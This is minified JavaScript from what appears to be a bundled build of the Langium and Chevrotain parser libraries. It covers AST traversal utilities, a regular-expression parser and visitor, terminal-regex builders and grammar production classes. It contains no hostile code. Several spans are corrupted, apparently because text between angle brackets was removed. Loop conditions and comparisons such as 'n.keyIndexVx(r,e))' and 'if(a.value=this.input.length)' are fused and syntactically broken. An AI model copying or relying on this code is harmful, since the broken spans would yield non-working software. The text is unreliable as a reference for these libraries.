Xg:return{name:Xg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"value"}]};case jg:return{name:jg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"terminal"}]};case Kg:return{name:Kg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"regex"}]};case Qg:return{name:Qg,properties:[{name:"arguments",defaultValue:[]},{name:"cardinality"},{name:"lookahead"},{name:"rule"}]};case Zg:return{name:Zg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case Jg:return{name:Jg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case e1:return{name:e1,properties:[{name:"cardinality"},{name:"lookahead"},{name:"rule"}]};case t1:return{name:t1,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case r1:return{name:r1,properties:[{name:"cardinality"},{name:"lookahead"},{name:"terminal"}]};case n1:return{name:n1,properties:[{name:"cardinality"},{name:"lookahead"}]};default:return{name:e,properties:[]}}}},pr=new i1});var GE={};dr(GE,{assignMandatoryProperties:()=>gO,copyAstNode:()=>mO,findLocalReferences:()=>FWe,findRootNode:()=>Gx,getContainerOfType:()=>Ip,getDocument:()=>Va,hasContainerOfType:()=>BWe,linkContentToContainer:()=>zE,streamAllContents:()=>qc,streamAst:()=>Jo,streamContents:()=>Vx,streamReferences:()=>a1});function zE(t){for(let[e,r]of Object.entries(t))e.startsWith("$")||(Array.isArray(r)?r.forEach((n,i)=>{li(n)&&(n.$container=t,n.$containerProperty=e,n.$containerIndex=i)}):li(r)&&(r.$container=t,r.$containerProperty=e))}function Ip(t,e){let r=t;for(;r;){if(e(r))return r;r=r.$container}}function BWe(t,e){let r=t;for(;r;){if(e(r))return!0;r=r.$container}return!1}function Va(t){let r=Gx(t).$document;if(!r)throw new Error("AST node has no document.");return r}function Gx(t){for(;t.$container;)t=t.$container;return t}function Vx(t,e){if(!t)throw new Error("Node must be an AstNode.");let r=e?.range;return new po(()=>({keys:Object.keys(t),keyIndex:0,arrayIndex:0}),n=>{for(;n.keyIndexVx(r,e))}function Jo(t,e){if(t){if(e?.range&&!pO(t,e.range))return new Gc(t,()=>[])}else throw new Error("Root node must be an AstNode.");return new Gc(t,r=>Vx(r,e),{includeRoot:!0})}function pO(t,e){var r;if(!e)return!0;let n=(r=t.$cstNode)===null||r===void 0?void 0:r.range;return n?XI(n,e):!1}function a1(t){return new po(()=>({keys:Object.keys(t),keyIndex:0,arrayIndex:0}),e=>{for(;e.keyIndex{a1(n).forEach(i=>{i.reference.ref===t&&r.push(i.reference)})}),an(r)}function gO(t,e){let r=t.getTypeMetaData(e.$type),n=e;for(let i of r.properties)i.defaultValue!==void 0&&n[i.name]===void 0&&(n[i.name]=Pfe(i.defaultValue))}function Pfe(t){return Array.isArray(t)?[...t.map(Pfe)]:t}function mO(t,e){let r={$type:t.$type};for(let[n,i]of Object.entries(t))if(!n.startsWith("$"))if(li(i))r[n]=mO(i,e);else if(Ta(i))r[n]=e(r,n,i.$refNode,i.$refText);else if(Array.isArray(i)){let a=[];for(let s of i)li(s)?a.push(mO(s,e)):Ta(s)?a.push(e(r,n,s.$refNode,s.$refText)):a.push(s);r[n]=a}else r[n]=i;return zE(r),r}var hs=N(()=>{"use strict";Pl();Ys();Bl();o(zE,"linkContentToContainer");o(Ip,"getContainerOfType");o(BWe,"hasContainerOfType");o(Va,"getDocument");o(Gx,"findRootNode");o(Vx,"streamContents");o(qc,"streamAllContents");o(Jo,"streamAst");o(pO,"isAstNodeInRange");o(a1,"streamReferences");o(FWe,"findLocalReferences");o(gO,"assignMandatoryProperties");o(Pfe,"copyDefaultValue");o(mO,"copyAstNode")});function lr(t){return t.charCodeAt(0)}function VE(t,e){Array.isArray(t)?t.forEach(function(r){e.push(r)}):e.push(t)}function s1(t,e){if(t[e]===!0)throw"duplicate flag "+e;let r=t[e];t[e]=!0}function Op(t){if(t===void 0)throw Error("Internal Error - Should never get here!");return!0}function Ux(){throw Error("Internal Error - Should never get here!")}function yO(t){return t.type==="Character"}var vO=N(()=>{"use strict";o(lr,"cc");o(VE,"insertToSet");o(s1,"addFlag");o(Op,"ASSERT_EXISTS");o(Ux,"ASSERT_NEVER_REACH_HERE");o(yO,"isCharacter")});var Hx,qx,xO,Bfe=N(()=>{"use strict";vO();Hx=[];for(let t=lr("0");t<=lr("9");t++)Hx.push(t);qx=[lr("_")].concat(Hx);for(let t=lr("a");t<=lr("z");t++)qx.push(t);for(let t=lr("A");t<=lr("Z");t++)qx.push(t);xO=[lr(" "),lr("\f"),lr(` +`),lr("\r"),lr(" "),lr("\v"),lr(" "),lr("\xA0"),lr("\u1680"),lr("\u2000"),lr("\u2001"),lr("\u2002"),lr("\u2003"),lr("\u2004"),lr("\u2005"),lr("\u2006"),lr("\u2007"),lr("\u2008"),lr("\u2009"),lr("\u200A"),lr("\u2028"),lr("\u2029"),lr("\u202F"),lr("\u205F"),lr("\u3000"),lr("\uFEFF")]});var $We,UE,zWe,Pp,Ffe=N(()=>{"use strict";vO();Bfe();$We=/[0-9a-fA-F]/,UE=/[0-9]/,zWe=/[1-9]/,Pp=class{static{o(this,"RegExpParser")}constructor(){this.idx=0,this.input="",this.groupIdx=0}saveState(){return{idx:this.idx,input:this.input,groupIdx:this.groupIdx}}restoreState(e){this.idx=e.idx,this.input=e.input,this.groupIdx=e.groupIdx}pattern(e){this.idx=0,this.input=e,this.groupIdx=0,this.consumeChar("/");let r=this.disjunction();this.consumeChar("/");let n={type:"Flags",loc:{begin:this.idx,end:e.length},global:!1,ignoreCase:!1,multiLine:!1,unicode:!1,sticky:!1};for(;this.isRegExpFlag();)switch(this.popChar()){case"g":s1(n,"global");break;case"i":s1(n,"ignoreCase");break;case"m":s1(n,"multiLine");break;case"u":s1(n,"unicode");break;case"y":s1(n,"sticky");break}if(this.idx!==this.input.length)throw Error("Redundant input: "+this.input.substring(this.idx));return{type:"Pattern",flags:n,value:r,loc:this.loc(0)}}disjunction(){let e=[],r=this.idx;for(e.push(this.alternative());this.peekChar()==="|";)this.consumeChar("|"),e.push(this.alternative());return{type:"Disjunction",value:e,loc:this.loc(r)}}alternative(){let e=[],r=this.idx;for(;this.isTerm();)e.push(this.term());return{type:"Alternative",value:e,loc:this.loc(r)}}term(){return this.isAssertion()?this.assertion():this.atom()}assertion(){let e=this.idx;switch(this.popChar()){case"^":return{type:"StartAnchor",loc:this.loc(e)};case"$":return{type:"EndAnchor",loc:this.loc(e)};case"\\":switch(this.popChar()){case"b":return{type:"WordBoundary",loc:this.loc(e)};case"B":return{type:"NonWordBoundary",loc:this.loc(e)}}throw Error("Invalid Assertion Escape");case"(":this.consumeChar("?");let r;switch(this.popChar()){case"=":r="Lookahead";break;case"!":r="NegativeLookahead";break}Op(r);let n=this.disjunction();return this.consumeChar(")"),{type:r,value:n,loc:this.loc(e)}}return Ux()}quantifier(e=!1){let r,n=this.idx;switch(this.popChar()){case"*":r={atLeast:0,atMost:1/0};break;case"+":r={atLeast:1,atMost:1/0};break;case"?":r={atLeast:0,atMost:1};break;case"{":let i=this.integerIncludingZero();switch(this.popChar()){case"}":r={atLeast:i,atMost:i};break;case",":let a;this.isDigit()?(a=this.integerIncludingZero(),r={atLeast:i,atMost:a}):r={atLeast:i,atMost:1/0},this.consumeChar("}");break}if(e===!0&&r===void 0)return;Op(r);break}if(!(e===!0&&r===void 0)&&Op(r))return this.peekChar(0)==="?"?(this.consumeChar("?"),r.greedy=!1):r.greedy=!0,r.type="Quantifier",r.loc=this.loc(n),r}atom(){let e,r=this.idx;switch(this.peekChar()){case".":e=this.dotAll();break;case"\\":e=this.atomEscape();break;case"[":e=this.characterClass();break;case"(":e=this.group();break}return e===void 0&&this.isPatternCharacter()&&(e=this.patternCharacter()),Op(e)?(e.loc=this.loc(r),this.isQuantifier()&&(e.quantifier=this.quantifier()),e):Ux()}dotAll(){return this.consumeChar("."),{type:"Set",complement:!0,value:[lr(` +`),lr("\r"),lr("\u2028"),lr("\u2029")]}}atomEscape(){switch(this.consumeChar("\\"),this.peekChar()){case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":return this.decimalEscapeAtom();case"d":case"D":case"s":case"S":case"w":case"W":return this.characterClassEscape();case"f":case"n":case"r":case"t":case"v":return this.controlEscapeAtom();case"c":return this.controlLetterEscapeAtom();case"0":return this.nulCharacterAtom();case"x":return this.hexEscapeSequenceAtom();case"u":return this.regExpUnicodeEscapeSequenceAtom();default:return this.identityEscapeAtom()}}decimalEscapeAtom(){return{type:"GroupBackReference",value:this.positiveInteger()}}characterClassEscape(){let e,r=!1;switch(this.popChar()){case"d":e=Hx;break;case"D":e=Hx,r=!0;break;case"s":e=xO;break;case"S":e=xO,r=!0;break;case"w":e=qx;break;case"W":e=qx,r=!0;break}return Op(e)?{type:"Set",value:e,complement:r}:Ux()}controlEscapeAtom(){let e;switch(this.popChar()){case"f":e=lr("\f");break;case"n":e=lr(` +`);break;case"r":e=lr("\r");break;case"t":e=lr(" ");break;case"v":e=lr("\v");break}return Op(e)?{type:"Character",value:e}:Ux()}controlLetterEscapeAtom(){this.consumeChar("c");let e=this.popChar();if(/[a-zA-Z]/.test(e)===!1)throw Error("Invalid ");return{type:"Character",value:e.toUpperCase().charCodeAt(0)-64}}nulCharacterAtom(){return this.consumeChar("0"),{type:"Character",value:lr("\0")}}hexEscapeSequenceAtom(){return this.consumeChar("x"),this.parseHexDigits(2)}regExpUnicodeEscapeSequenceAtom(){return this.consumeChar("u"),this.parseHexDigits(4)}identityEscapeAtom(){let e=this.popChar();return{type:"Character",value:lr(e)}}classPatternCharacterAtom(){switch(this.peekChar()){case` +`:case"\r":case"\u2028":case"\u2029":case"\\":case"]":throw Error("TBD");default:let e=this.popChar();return{type:"Character",value:lr(e)}}}characterClass(){let e=[],r=!1;for(this.consumeChar("["),this.peekChar(0)==="^"&&(this.consumeChar("^"),r=!0);this.isClassAtom();){let n=this.classAtom(),i=n.type==="Character";if(yO(n)&&this.isRangeDash()){this.consumeChar("-");let a=this.classAtom(),s=a.type==="Character";if(yO(a)){if(a.value=this.input.length)throw Error("Unexpected end of input");this.idx++}loc(e){return{begin:e,end:this.idx}}}});var Wc,$fe=N(()=>{"use strict";Wc=class{static{o(this,"BaseRegExpVisitor")}visitChildren(e){for(let r in e){let n=e[r];e.hasOwnProperty(r)&&(n.type!==void 0?this.visit(n):Array.isArray(n)&&n.forEach(i=>{this.visit(i)},this))}}visit(e){switch(e.type){case"Pattern":this.visitPattern(e);break;case"Flags":this.visitFlags(e);break;case"Disjunction":this.visitDisjunction(e);break;case"Alternative":this.visitAlternative(e);break;case"StartAnchor":this.visitStartAnchor(e);break;case"EndAnchor":this.visitEndAnchor(e);break;case"WordBoundary":this.visitWordBoundary(e);break;case"NonWordBoundary":this.visitNonWordBoundary(e);break;case"Lookahead":this.visitLookahead(e);break;case"NegativeLookahead":this.visitNegativeLookahead(e);break;case"Character":this.visitCharacter(e);break;case"Set":this.visitSet(e);break;case"Group":this.visitGroup(e);break;case"GroupBackReference":this.visitGroupBackReference(e);break;case"Quantifier":this.visitQuantifier(e);break}this.visitChildren(e)}visitPattern(e){}visitFlags(e){}visitDisjunction(e){}visitAlternative(e){}visitStartAnchor(e){}visitEndAnchor(e){}visitWordBoundary(e){}visitNonWordBoundary(e){}visitLookahead(e){}visitNegativeLookahead(e){}visitCharacter(e){}visitSet(e){}visitGroup(e){}visitGroupBackReference(e){}visitQuantifier(e){}}});var Wx=N(()=>{"use strict";Ffe();$fe()});var HE={};dr(HE,{NEWLINE_REGEXP:()=>TO,escapeRegExp:()=>Fp,getCaseInsensitivePattern:()=>kO,getTerminalParts:()=>GWe,isMultilineComment:()=>wO,isWhitespace:()=>o1,partialMatches:()=>EO,partialRegExp:()=>Vfe,whitespaceCharacters:()=>Gfe});function GWe(t){try{typeof t!="string"&&(t=t.source),t=`/${t}/`;let e=zfe.pattern(t),r=[];for(let n of e.value.value)Bp.reset(t),Bp.visit(n),r.push({start:Bp.startRegexp,end:Bp.endRegex});return r}catch{return[]}}function wO(t){try{return typeof t=="string"&&(t=new RegExp(t)),t=t.toString(),Bp.reset(t),Bp.visit(zfe.pattern(t)),Bp.multiline}catch{return!1}}function o1(t){let e=typeof t=="string"?new RegExp(t):t;return Gfe.some(r=>e.test(r))}function Fp(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function kO(t){return Array.prototype.map.call(t,e=>/\w/.test(e)?`[${e.toLowerCase()}${e.toUpperCase()}]`:Fp(e)).join("")}function EO(t,e){let r=Vfe(t),n=e.match(r);return!!n&&n[0].length>0}function Vfe(t){typeof t=="string"&&(t=new RegExp(t));let e=t,r=t.source,n=0;function i(){let a="",s;function l(h){a+=r.substr(n,h),n+=h}o(l,"appendRaw");function u(h){a+="(?:"+r.substr(n,h)+"|$)",n+=h}for(o(u,"appendOptional");n",n)-n+1);break;default:u(2);break}break;case"[":s=/\[(?:\\.|.)*?\]/g,s.lastIndex=n,s=s.exec(r)||[],u(s[0].length);break;case"|":case"^":case"$":case"*":case"+":case"?":l(1);break;case"{":s=/\{\d+,?\d*\}/g,s.lastIndex=n,s=s.exec(r),s?l(s[0].length):u(1);break;case"(":if(r[n+1]==="?")switch(r[n+2]){case":":a+="(?:",n+=3,a+=i()+"|$)";break;case"=":a+="(?=",n+=3,a+=i()+")";break;case"!":s=n,n+=3,i(),a+=r.substr(s,n-s);break;case"<":switch(r[n+3]){case"=":case"!":s=n,n+=4,i(),a+=r.substr(s,n-s);break;default:l(r.indexOf(">",n)-n+1),a+=i()+"|$)";break}break}else l(1),a+=i()+"|$)";break;case")":return++n,a;default:u(1);break}return a}return o(i,"process"),new RegExp(i(),t.flags)}var TO,zfe,bO,Bp,Gfe,l1=N(()=>{"use strict";Wx();TO=/\r?\n/gm,zfe=new Pp,bO=class extends Wc{static{o(this,"TerminalRegExpVisitor")}constructor(){super(...arguments),this.isStarting=!0,this.endRegexpStack=[],this.multiline=!1}get endRegex(){return this.endRegexpStack.join("")}reset(e){this.multiline=!1,this.regex=e,this.startRegexp="",this.isStarting=!0,this.endRegexpStack=[]}visitGroup(e){e.quantifier&&(this.isStarting=!1,this.endRegexpStack=[])}visitCharacter(e){let r=String.fromCharCode(e.value);if(!this.multiline&&r===` +`&&(this.multiline=!0),e.quantifier)this.isStarting=!1,this.endRegexpStack=[];else{let n=Fp(r);this.endRegexpStack.push(n),this.isStarting&&(this.startRegexp+=n)}}visitSet(e){if(!this.multiline){let r=this.regex.substring(e.loc.begin,e.loc.end),n=new RegExp(r);this.multiline=!!` +`.match(n)}if(e.quantifier)this.isStarting=!1,this.endRegexpStack=[];else{let r=this.regex.substring(e.loc.begin,e.loc.end);this.endRegexpStack.push(r),this.isStarting&&(this.startRegexp+=r)}}visitChildren(e){e.type==="Group"&&e.quantifier||super.visitChildren(e)}},Bp=new bO;o(GWe,"getTerminalParts");o(wO,"isMultilineComment");Gfe=`\f +\r \v \xA0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u2028\u2029\u202F\u205F\u3000\uFEFF`.split("");o(o1,"isWhitespace");o(Fp,"escapeRegExp");o(kO,"getCaseInsensitivePattern");o(EO,"partialMatches");o(Vfe,"partialRegExp")});var WE={};dr(WE,{findAssignment:()=>MO,findNameAssignment:()=>qE,findNodeForKeyword:()=>RO,findNodeForProperty:()=>Xx,findNodesForKeyword:()=>VWe,findNodesForKeywordInternal:()=>NO,findNodesForProperty:()=>DO,getActionAtElement:()=>Yfe,getActionType:()=>jfe,getAllReachableRules:()=>Yx,getCrossReferenceTerminal:()=>AO,getEntryRule:()=>Ufe,getExplicitRuleType:()=>c1,getHiddenRules:()=>Hfe,getRuleType:()=>IO,getRuleTypeName:()=>YWe,getTypeName:()=>Kx,isArrayCardinality:()=>HWe,isArrayOperator:()=>qWe,isCommentTerminal:()=>_O,isDataType:()=>WWe,isDataTypeRule:()=>jx,isOptionalCardinality:()=>UWe,terminalRegex:()=>u1});function Ufe(t){return t.rules.find(e=>Ga(e)&&e.entry)}function Hfe(t){return t.rules.filter(e=>mo(e)&&e.hidden)}function Yx(t,e){let r=new Set,n=Ufe(t);if(!n)return new Set(t.rules);let i=[n].concat(Hfe(t));for(let s of i)qfe(s,r,e);let a=new Set;for(let s of t.rules)(r.has(s.name)||mo(s)&&s.hidden)&&a.add(s);return a}function qfe(t,e,r){e.add(t.name),qc(t).forEach(n=>{if($l(n)||r&&FE(n)){let i=n.rule.ref;i&&!e.has(i.name)&&qfe(i,e,r)}})}function AO(t){if(t.terminal)return t.terminal;if(t.type.ref){let e=qE(t.type.ref);return e?.terminal}}function _O(t){return t.hidden&&!o1(u1(t))}function DO(t,e){return!t||!e?[]:LO(t,e,t.astNode,!0)}function Xx(t,e,r){if(!t||!e)return;let n=LO(t,e,t.astNode,!0);if(n.length!==0)return r!==void 0?r=Math.max(0,Math.min(r,n.length-1)):r=0,n[r]}function LO(t,e,r,n){if(!n){let i=Ip(t.grammarSource,Fl);if(i&&i.feature===e)return[t]}return Ol(t)&&t.astNode===r?t.content.flatMap(i=>LO(i,e,r,!1)):[]}function VWe(t,e){return t?NO(t,e,t?.astNode):[]}function RO(t,e,r){if(!t)return;let n=NO(t,e,t?.astNode);if(n.length!==0)return r!==void 0?r=Math.max(0,Math.min(r,n.length-1)):r=0,n[r]}function NO(t,e,r){if(t.astNode!==r)return[];if(Zo(t.grammarSource)&&t.grammarSource.value===e)return[t];let n=Dp(t).iterator(),i,a=[];do if(i=n.next(),!i.done){let s=i.value;s.astNode===r?Zo(s.grammarSource)&&s.grammarSource.value===e&&a.push(s):n.prune()}while(!i.done);return a}function MO(t){var e;let r=t.astNode;for(;r===((e=t.container)===null||e===void 0?void 0:e.astNode);){let n=Ip(t.grammarSource,Fl);if(n)return n;t=t.container}}function qE(t){let e=t;return IE(e)&&(qu(e.$container)?e=e.$container.$container:Ga(e.$container)?e=e.$container:Uc(e.$container)),Wfe(t,e,new Map)}function Wfe(t,e,r){var n;function i(a,s){let l;return Ip(a,Fl)||(l=Wfe(s,s,r)),r.set(t,l),l}if(o(i,"go"),r.has(t))return r.get(t);r.set(t,void 0);for(let a of qc(e)){if(Fl(a)&&a.feature.toLowerCase()==="name")return r.set(t,a),a;if($l(a)&&Ga(a.rule.ref))return i(a,a.rule.ref);if(PE(a)&&(!((n=a.typeRef)===null||n===void 0)&&n.ref))return i(a,a.typeRef.ref)}}function Yfe(t){let e=t.$container;if(Of(e)){let r=e.elements,n=r.indexOf(t);for(let i=n-1;i>=0;i--){let a=r[i];if(qu(a))return a;{let s=qc(r[i]).find(qu);if(s)return s}}}if(Fx(e))return Yfe(e)}function UWe(t,e){return t==="?"||t==="*"||Of(e)&&!!e.guardCondition}function HWe(t){return t==="*"||t==="+"}function qWe(t){return t==="+="}function jx(t){return Xfe(t,new Set)}function Xfe(t,e){if(e.has(t))return!0;e.add(t);for(let r of qc(t))if($l(r)){if(!r.rule.ref||Ga(r.rule.ref)&&!Xfe(r.rule.ref,e))return!1}else{if(Fl(r))return!1;if(qu(r))return!1}return!!t.definition}function WWe(t){return CO(t.type,new Set)}function CO(t,e){if(e.has(t))return!0;if(e.add(t),QI(t))return!1;if(nO(t))return!1;if(aO(t))return t.types.every(r=>CO(r,e));if(PE(t)){if(t.primitiveType!==void 0)return!0;if(t.stringType!==void 0)return!0;if(t.typeRef!==void 0){let r=t.typeRef.ref;return $x(r)?CO(r.type,e):!1}else return!1}else return!1}function c1(t){if(t.inferredType)return t.inferredType.name;if(t.dataType)return t.dataType;if(t.returnType){let e=t.returnType.ref;if(e){if(Ga(e))return e.name;if(OE(e)||$x(e))return e.name}}}function Kx(t){var e;if(Ga(t))return jx(t)?t.name:(e=c1(t))!==null&&e!==void 0?e:t.name;if(OE(t)||$x(t)||iO(t))return t.name;if(qu(t)){let r=jfe(t);if(r)return r}else if(IE(t))return t.name;throw new Error("Cannot get name of Unknown Type")}function jfe(t){var e;if(t.inferredType)return t.inferredType.name;if(!((e=t.type)===null||e===void 0)&&e.ref)return Kx(t.type.ref)}function YWe(t){var e,r,n;return mo(t)?(r=(e=t.type)===null||e===void 0?void 0:e.name)!==null&&r!==void 0?r:"string":jx(t)?t.name:(n=c1(t))!==null&&n!==void 0?n:t.name}function IO(t){var e,r,n;return mo(t)?(r=(e=t.type)===null||e===void 0?void 0:e.name)!==null&&r!==void 0?r:"string":(n=c1(t))!==null&&n!==void 0?n:t.name}function u1(t){let e={s:!1,i:!1,u:!1},r=h1(t.definition,e),n=Object.entries(e).filter(([,i])=>i).map(([i])=>i).join("");return new RegExp(r,n)}function h1(t,e){if(uO(t))return XWe(t);if(hO(t))return jWe(t);if(sO(t))return ZWe(t);if(FE(t)){let r=t.rule.ref;if(!r)throw new Error("Missing rule reference.");return Wu(h1(r.definition),{cardinality:t.cardinality,lookahead:t.lookahead})}else{if(lO(t))return QWe(t);if(fO(t))return KWe(t);if(cO(t)){let r=t.regex.lastIndexOf("/"),n=t.regex.substring(1,r),i=t.regex.substring(r+1);return e&&(e.i=i.includes("i"),e.s=i.includes("s"),e.u=i.includes("u")),Wu(n,{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1})}else{if(dO(t))return Wu(OO,{cardinality:t.cardinality,lookahead:t.lookahead});throw new Error(`Invalid terminal element: ${t?.$type}`)}}}function XWe(t){return Wu(t.elements.map(e=>h1(e)).join("|"),{cardinality:t.cardinality,lookahead:t.lookahead})}function jWe(t){return Wu(t.elements.map(e=>h1(e)).join(""),{cardinality:t.cardinality,lookahead:t.lookahead})}function KWe(t){return Wu(`${OO}*?${h1(t.terminal)}`,{cardinality:t.cardinality,lookahead:t.lookahead})}function QWe(t){return Wu(`(?!${h1(t.terminal)})${OO}*?`,{cardinality:t.cardinality,lookahead:t.lookahead})}function ZWe(t){return t.right?Wu(`[${SO(t.left)}-${SO(t.right)}]`,{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1}):Wu(SO(t.left),{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1})}function SO(t){return Fp(t.value)}function Wu(t,e){var r;return(e.wrap!==!1||e.lookahead)&&(t=`(${(r=e.lookahead)!==null&&r!==void 0?r:""}${t})`),e.cardinality?`${t}${e.cardinality}`:t}var OO,zl=N(()=>{"use strict";NE();Hc();Pl();hs();Bl();l1();o(Ufe,"getEntryRule");o(Hfe,"getHiddenRules");o(Yx,"getAllReachableRules");o(qfe,"ruleDfs");o(AO,"getCrossReferenceTerminal");o(_O,"isCommentTerminal");o(DO,"findNodesForProperty");o(Xx,"findNodeForProperty");o(LO,"findNodesForPropertyInternal");o(VWe,"findNodesForKeyword");o(RO,"findNodeForKeyword");o(NO,"findNodesForKeywordInternal");o(MO,"findAssignment");o(qE,"findNameAssignment");o(Wfe,"findNameAssignmentInternal");o(Yfe,"getActionAtElement");o(UWe,"isOptionalCardinality");o(HWe,"isArrayCardinality");o(qWe,"isArrayOperator");o(jx,"isDataTypeRule");o(Xfe,"isDataTypeRuleInternal");o(WWe,"isDataType");o(CO,"isDataTypeInternal");o(c1,"getExplicitRuleType");o(Kx,"getTypeName");o(jfe,"getActionType");o(YWe,"getRuleTypeName");o(IO,"getRuleType");o(u1,"terminalRegex");OO=/[\s\S]/.source;o(h1,"abstractElementToRegex");o(XWe,"terminalAlternativesToRegex");o(jWe,"terminalGroupToRegex");o(KWe,"untilTokenToRegex");o(QWe,"negateTokenToRegex");o(ZWe,"characterRangeToRegex");o(SO,"keywordToRegex");o(Wu,"withCardinality")});function PO(t){let e=[],r=t.Grammar;for(let n of r.rules)mo(n)&&_O(n)&&wO(u1(n))&&e.push(n.name);return{multilineCommentRules:e,nameRegexp:LE}}var BO=N(()=>{"use strict";Bl();zl();l1();Hc();o(PO,"createGrammarConfig")});var FO=N(()=>{"use strict"});function f1(t){console&&console.error&&console.error(`Error: ${t}`)}function Qx(t){console&&console.warn&&console.warn(`Warning: ${t}`)}var Kfe=N(()=>{"use strict";o(f1,"PRINT_ERROR");o(Qx,"PRINT_WARNING")});function Zx(t){let e=new Date().getTime(),r=t();return{time:new Date().getTime()-e,value:r}}var Qfe=N(()=>{"use strict";o(Zx,"timer")});function Jx(t){function e(){}o(e,"FakeConstructor"),e.prototype=t;let r=new e;function n(){return typeof r.bar}return o(n,"fakeAccess"),n(),n(),t;(0,eval)(t)}var Zfe=N(()=>{"use strict";o(Jx,"toFastProperties")});var d1=N(()=>{"use strict";Kfe();Qfe();Zfe()});function JWe(t){return eYe(t)?t.LABEL:t.name}function eYe(t){return xi(t.LABEL)&&t.LABEL!==""}function YE(t){return rt(t,p1)}function p1(t){function e(r){return rt(r,p1)}if(o(e,"convertDefinition"),t instanceof fn){let r={type:"NonTerminal",name:t.nonTerminalName,idx:t.idx};return xi(t.label)&&(r.label=t.label),r}else{if(t instanceof Pn)return{type:"Alternative",definition:e(t.definition)};if(t instanceof dn)return{type:"Option",idx:t.idx,definition:e(t.definition)};if(t instanceof Bn)return{type:"RepetitionMandatory",idx:t.idx,definition:e(t.definition)};if(t instanceof Fn)return{type:"RepetitionMandatoryWithSeparator",idx:t.idx,separator:p1(new Ar({terminalType:t.separator})),definition:e(t.definition)};if(t instanceof _n)return{type:"RepetitionWithSeparator",idx:t.idx,separator:p1(new Ar({terminalType:t.separator})),definition:e(t.definition)};if(t instanceof zr)return{type:"Repetition",idx:t.idx,definition:e(t.definition)};if(t instanceof Dn)return{type:"Alternation",idx:t.idx,definition:e(t.definition)};if(t instanceof Ar){let r={type:"Terminal",name:t.terminalType.name,label:JWe(t.terminalType),idx:t.idx};xi(t.label)&&(r.terminalLabel=t.label);let n=t.terminalType.PATTERN;return t.terminalType.PATTERN&&(r.pattern=Uo(n)?n.source:n),r}else{if(t instanceof fs)return{type:"Rule",name:t.name,orgText:t.orgText,definition:e(t.definition)};throw Error("non exhaustive match")}}}var go,fn,fs,Pn,dn,Bn,Fn,zr,_n,Dn,Ar,XE=N(()=>{"use strict";Yt();o(JWe,"tokenLabel");o(eYe,"hasTokenLabel");go=class{static{o(this,"AbstractProduction")}get definition(){return this._definition}set definition(e){this._definition=e}constructor(e){this._definition=e}accept(e){e.visit(this),Ae(this.definition,r=>{r.accept(e)})}},fn=class extends go{static{o(this,"NonTerminal")}constructor(e){super([]),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}set definition(e){}get definition(){return this.referencedRule!==void 0?this.referencedRule.definition:[]}accept(e){e.visit(this)}},fs=class extends go{static{o(this,"Rule")}constructor(e){super(e.definition),this.orgText="",pa(this,Vs(e,r=>r!==void 0))}},Pn=class extends go{static{o(this,"Alternative")}constructor(e){super(e.definition),this.ignoreAmbiguities=!1,pa(this,Vs(e,r=>r!==void 0))}},dn=class extends go{static{o(this,"Option")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Bn=class extends go{static{o(this,"RepetitionMandatory")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Fn=class extends go{static{o(this,"RepetitionMandatoryWithSeparator")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},zr=class extends go{static{o(this,"Repetition")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},_n=class extends go{static{o(this,"RepetitionWithSeparator")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Dn=class extends go{static{o(this,"Alternation")}get definition(){return this._definition}set definition(e){this._definition=e}constructor(e){super(e.definition),this.idx=1,this.ignoreAmbiguities=!1,this.hasPredicates=!1,pa(this,Vs(e,r=>r!==void 0))}},Ar=class{static{o(this,"Terminal")}constructor(e){this.idx=1,pa(this,Vs(e,r=>r!==void 0))}accept(e){e.visit(this)}};o(YE,"serializeGrammar");o(p1,"serializeProduction")});var ds,Jfe=N(()=>{"use strict";XE();ds=class{static{o(this,"GAstVisitor")}visit(e){let r=e;switch(r.constructor){case fn:return this.visitNonTerminal(r);case Pn:return this.visitAlternative(r);case dn:return this.visitOption(r);case Bn:return this.visitRepetitionMandatory(r);case Fn:return this.visitRepetitionMandatoryWithSeparator(r);case _n:return this.visitRepetitionWithSeparator(r);case zr:return this.visitRepetition(r);case Dn:return this.visitAlternation(r);case Ar:return this.visitTerminal(r);case fs:return this.visitRule(r);default:throw Error("non exhaustive match")}}visitNonTerminal(e){}visitAlternative(e){}visitOption(e){}visitRepetition(e){}visitRepetitionMandatory(e){}visitRepetitionMandatoryWithSeparator(e){}visitRepetitionWithSeparator(e){}visitAlternation(e){}visitTerminal(e){}visitRule(e){}}});function $O(t){return t instanceof Pn||t instanceof dn||t instanceof zr||t instanceof Bn||t instanceof Fn||t instanceof _n||t instanceof Ar||t instanceof fs}function $p(t,e=[]){return t instanceof dn||t instanceof zr||t instanceof _n?!0:t instanceof Dn?z2(t.definition,n=>$p(n,e)):t instanceof fn&&jn(e,t)?!1:t instanceof go?(t instanceof fn&&e.push(t),Pa(t.definition,n=>$p(n,e))):!1}function zO(t){return t instanceof Dn}function Xs(t){if(t instanceof fn)return"SUBRULE";if(t instanceof dn)return"OPTION";if(t instanceof Dn)return"OR";if(t instanceof Bn)return"AT_LEAST_ONE";if(t instanceof Fn)return"AT_LEAST_ONE_SEP";if(t instanceof _n)return"MANY_SEP";if(t instanceof zr)return"MANY";if(t instanceof Ar)return"CONSUME";throw Error("non exhaustive match")}var ede=N(()=>{"use strict";Yt();XE();o($O,"isSequenceProd");o($p,"isOptionalProd");o(zO,"isBranchingProd");o(Xs,"getProductionDslName")});var ps=N(()=>{"use strict";XE();Jfe();ede()});function tde(t,e,r){return[new dn({definition:[new 